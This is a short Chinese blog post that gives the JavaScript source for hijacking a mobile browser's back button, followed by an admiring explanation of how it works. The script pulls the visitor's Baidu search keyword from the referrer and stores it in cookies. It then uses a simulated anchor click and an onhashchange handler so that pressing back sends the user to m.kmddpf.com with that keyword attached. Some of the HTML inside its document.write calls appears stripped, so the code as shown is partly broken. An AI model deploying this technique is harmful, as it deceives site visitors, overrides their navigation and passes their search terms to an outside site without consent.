利用手机浏览器的后退功能退到百度页面

源码:

var customurl = "";
var url = document.referrer;
var localUrl = window.location.href.toString();
var wd = "";
var baidu = "word";

//设置百度关键词cookie和当前页面url的cookie
if (url.length > 0) {
    var strs = new Array();
    strs = url.split("?");
    if (strs.length == 2) {
        strs = strs[1].split("&");
        for (i = 0; i < strs.length; i++) {
            if (!strs[i].indexOf(baidu)) {
                c = strs[i].split("=");
                var wd = decodeURI(c[1]);
            }
        }
    }
    document.cookie = "nammmme=" + localUrl;
    document.cookie = "mword=" + wd;
}
document.write("

" + document.cookie + "[]" + getCookie0001("mword") + "
");
myurl = getCookie0001("nammmme");

//如果当前页面和上一个页面url一样,通过模拟点击添加锚节点
if (localUrl == myurl) {
    document.write("");
    document.getElementById("abcdd2").click();
}

//根据cookie名称获取cookie值
function getCookie0001(objName) {
    var arrStr = document.cookie.split("; ");
    for (var i = 0; i < arrStr.length; i++) {
        var temp = arrStr[i].split("=");
        if (temp[0] == objName)
            return unescape(temp[1]);
    }
}

//获取随机数
function GetRandomNum(Min, Max) {
    var Range = Max - Min;
    var Rand = Math.random();
    return (Min + Math.round(Rand * Range));
}

//锚节点值改变。改变当前页面的url

window.onhashchange = function() {
    if (window.location.hash == "#abcdd1") {
    } else {
        wd00 = getCookie0001("mword");
        location.href = "http://m.kmddpf.com/s.html?id=0&word=" + wd;
    }
}


window.onhashchange事件就是当喵链接发生改变的时候触发的。

所以从头到尾是利用hash的改变来做的事情。改变的是当前页面的url,并不是真正利用后退按钮。太强大了!

第一次进去,页面是http://www.ab.com/page.html

通过模拟点击abcdd2进入第二个页面http://www.ab.com/page.html#abcdd1

然后就产生后退按钮,点击后退按钮回到http://www.ab.com/page.html页面,在这个页面更改了window.location.href值

你可能感兴趣的:(Jquery+js(前端脚本))